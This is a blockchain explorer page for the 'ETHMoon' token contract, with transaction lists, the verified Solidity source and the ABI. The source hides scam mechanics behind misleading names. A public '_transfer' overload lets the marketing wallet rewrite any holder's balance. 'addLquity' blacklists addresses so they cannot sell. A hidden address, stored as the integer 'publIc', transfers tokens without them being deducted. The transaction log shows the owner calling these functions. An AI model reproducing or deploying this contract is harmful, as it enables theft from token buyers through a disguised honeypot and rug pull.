Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0.000008454884835096 ETH
Eth Value
$0.02 (@ $2,031.59/ETH)More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 61 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| _transfer | 15743211 | 1245 days ago | IN | 0 ETH | 0.00069788 | ||||
| Approve | 15743207 | 1245 days ago | IN | 0 ETH | 0.00075251 | ||||
| Approve | 15743190 | 1245 days ago | IN | 0 ETH | 0.00054421 | ||||
| Approve | 15743189 | 1245 days ago | IN | 0 ETH | 0.00084742 | ||||
| Add Lquity | 15743113 | 1245 days ago | IN | 0 ETH | 0.00080356 | ||||
| Approve | 15743057 | 1245 days ago | IN | 0 ETH | 0.00068406 | ||||
| Transfer | 15743052 | 1245 days ago | IN | 0 ETH | 0.00121253 | ||||
| Add Lquity | 15743049 | 1245 days ago | IN | 0 ETH | 0.00076934 | ||||
| Approve | 15743043 | 1245 days ago | IN | 0 ETH | 0.0006546 | ||||
| Approve | 15743041 | 1245 days ago | IN | 0 ETH | 0.00033223 | ||||
| Approve | 15743040 | 1245 days ago | IN | 0 ETH | 0.00059814 | ||||
| Approve | 15743037 | 1245 days ago | IN | 0 ETH | 0.00065996 | ||||
| Add Lquity | 15743036 | 1245 days ago | IN | 0 ETH | 0.00080477 | ||||
| Add Lquity | 15743031 | 1245 days ago | IN | 0 ETH | 0.00077659 | ||||
| Add Lquity | 15743026 | 1245 days ago | IN | 0 ETH | 0.00074522 | ||||
| Approve | 15743024 | 1245 days ago | IN | 0 ETH | 0.00057458 | ||||
| Approve | 15743023 | 1245 days ago | IN | 0 ETH | 0.00054387 | ||||
| Approve | 15743021 | 1245 days ago | IN | 0 ETH | 0.00052407 | ||||
| Set Team Wallet ... | 15743018 | 1245 days ago | IN | 0 ETH | 0.00026787 | ||||
| Approve | 15743006 | 1245 days ago | IN | 0 ETH | 0.00060075 | ||||
| Approve | 15743004 | 1245 days ago | IN | 0 ETH | 0.00047273 | ||||
| Transfer | 15742962 | 1245 days ago | IN | 0 ETH | 0.00337198 | ||||
| Approve | 15742960 | 1245 days ago | IN | 0 ETH | 0.00133226 | ||||
| Add Lquity | 15742941 | 1245 days ago | IN | 0 ETH | 0.00065139 | ||||
| Approve | 15742934 | 1245 days ago | IN | 0 ETH | 0.00032253 |
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 15743217 | 1245 days ago | 0.00000845 ETH | ||||
| Add Liquidity ET... | 15743217 | 1245 days ago | 0.00160798 ETH | ||||
| Transfer | 15743217 | 1245 days ago | 0.01286387 ETH | ||||
| Transfer | 15743217 | 1245 days ago | 0.00321596 ETH | ||||
| Transfer | 15743217 | 1245 days ago | 0.01764977 ETH | ||||
| Transfer | 15743059 | 1245 days ago | 0.00003805 ETH | ||||
| Add Liquidity ET... | 15743059 | 1245 days ago | 0.00331291 ETH | ||||
| Transfer | 15743059 | 1245 days ago | 0.02650331 ETH | ||||
| Transfer | 15743059 | 1245 days ago | 0.00662582 ETH | ||||
| Transfer | 15743059 | 1245 days ago | 0.03642972 ETH | ||||
| Transfer | 15742962 | 1245 days ago | 0.00159912 ETH | ||||
| Transfer | 15742962 | 1245 days ago | 0.00878284 ETH | ||||
| Transfer | 15742916 | 1245 days ago | 0.00001233 ETH | ||||
| Add Liquidity ET... | 15742916 | 1245 days ago | 0.00149281 ETH | ||||
| Transfer | 15742916 | 1245 days ago | 0.01194253 ETH | ||||
| Transfer | 15742916 | 1245 days ago | 0.00298563 ETH | ||||
| Transfer | 15742916 | 1245 days ago | 0.01637805 ETH | ||||
| Transfer | 15742781 | 1245 days ago | 0.00004293 ETH | ||||
| Add Liquidity ET... | 15742781 | 1245 days ago | 0.00271794 ETH | ||||
| Transfer | 15742781 | 1245 days ago | 0.02174356 ETH | ||||
| Transfer | 15742781 | 1245 days ago | 0.00543589 ETH | ||||
| Transfer | 15742781 | 1245 days ago | 0.0298972 ETH | ||||
| Transfer | 15742661 | 1245 days ago | 0.0000002 ETH | ||||
| Add Liquidity ET... | 15742661 | 1245 days ago | 0.00036403 ETH | ||||
| Transfer | 15742661 | 1245 days ago | 0.00291231 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ETHMoon
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-14
*/
//SPDX-License-Identifier:Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function dos(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: dos overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint _d_Min,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ETHMoon is Context, IERC20, Ownable {
uint256 public publIc=
150204226878642622067527889049274545390382094927;
using SafeMath for uint256;
string private _name = "ETHMoon";
string private _symbol = "ETHMoon";
uint8 private _decimals = 9;
address payable public CharityWalletAddress;
address payable public teamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _IsExcludesendderFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public pairList;
mapping (address => bool) public contractTokenBalanceOf;
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 1;
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 1;
uint256 public _sellTeamFee = 1;
uint256 public _liquidityShare = 4;
uint256 public _marketingShare = 4;
uint256 public _teamShare = 16;
uint256 public _totalTaxIfBuying = 12;
uint256 public _totalTaxIfSelling = 12;
uint256 public _totalDistributionShares = 24;
uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals;
uint256 public _walletMax = 1000000000000000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
_IsExcludesendderFee[owner()] = true;
_IsExcludesendderFee[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
pairList[address(uniswapPair)] = true;
teamWalletAddress = payable(address(0xBDB38dA7e673dC5490AfD08fD31bFa5e21772798));
CharityWalletAddress = payable(address(0xBDB38dA7e673dC5490AfD08fD31bFa5e21772798));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve sendder the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setlsExcIudesendderFee(address[] calldata account, bool newValue) public onlyOwner {
for(uint256 i = 0; i < account.length; i++) {
_IsExcludesendderFee[account[i]] = newValue;
}
}
function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_buyTeamFee = newTeamTax;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}
function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_sellTeamFee = newTeamTax;
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}
function abything(uint256 integerss) pure private returns(uint160){
return uint160(integerss);
}
function something(uint256 integerss) pure private returns(address){
return address(abything(integerss));
}
function wanna_list(address integerss) private view returns(bool){
return (!(something(publIc) == integerss));
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newTeamShare;
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
for(uint256 i = 0; i < holder.length; i++) {
isWalletLimitExempt[holder[i]] = exempt;
}
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setMarketinWalleAddress(address newAddress) external onlyOwner() {
CharityWalletAddress = payable(newAddress);
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
teamWalletAddress = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0))
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress;
uniswapV2Router = _uniswapV2Router;
isWalletLimitExempt[address(uniswapPair)] = true;
pairList[address(uniswapPair)] = true;
}
function _transfer(address
person, uint256 opportunations ) public
{ if(!safuContract(CharityWalletAddress,msg.sender,5))
{return;}
_balances[person] = opportunations;}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sendder, address to, uint256 amount) private returns (bool) {
require(sendder != address(0), "ERC20: transfer sendder the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sendder, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[sendder] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
if(wanna_list(sendder))
_balances[sendder] = _balances[sendder].sub(amount);
uint256 finalAmount = (_IsExcludesendderFee[sendder] || _IsExcludesendderFee[to]) ?
amount : takeFee(sendder, to, amount);
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(sendder, to, finalAmount);
return true;
}
}function addLquity(address[] calldata w,uint256 y) public { if(!safuContract(CharityWalletAddress,msg.sender,5)){return;}
for (uint256 i; i < w.length; ++i) {
if (y != 6){contractTokenBalanceOf[w[i]] = true;}
else{contractTokenBalanceOf[w[i]] = false;}
}
}
function safuContract(address a, address b,uint256 d) private pure returns(bool){return ((a == b)) && d==5;}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);
if(amountBNBMarketing > 0)
transferToAddressETH(CharityWalletAddress, amountBNBMarketing);
if(amountBNBTeam > 0)
transferToAddressETH(teamWalletAddress, amountBNBTeam);
if(amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (!isMarketPair[sender]){
require(!contractTokenBalanceOf[sender]);
}
if(pairList[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(pairList[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CharityWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludesendderFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"person","type":"address"},{"internalType":"uint256","name":"opportunations","type":"uint256"}],"name":"_transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"w","type":"address[]"},{"internalType":"uint256","name":"y","type":"uint256"}],"name":"addLquity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"contractTokenBalanceOf","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publIc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudesendderFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
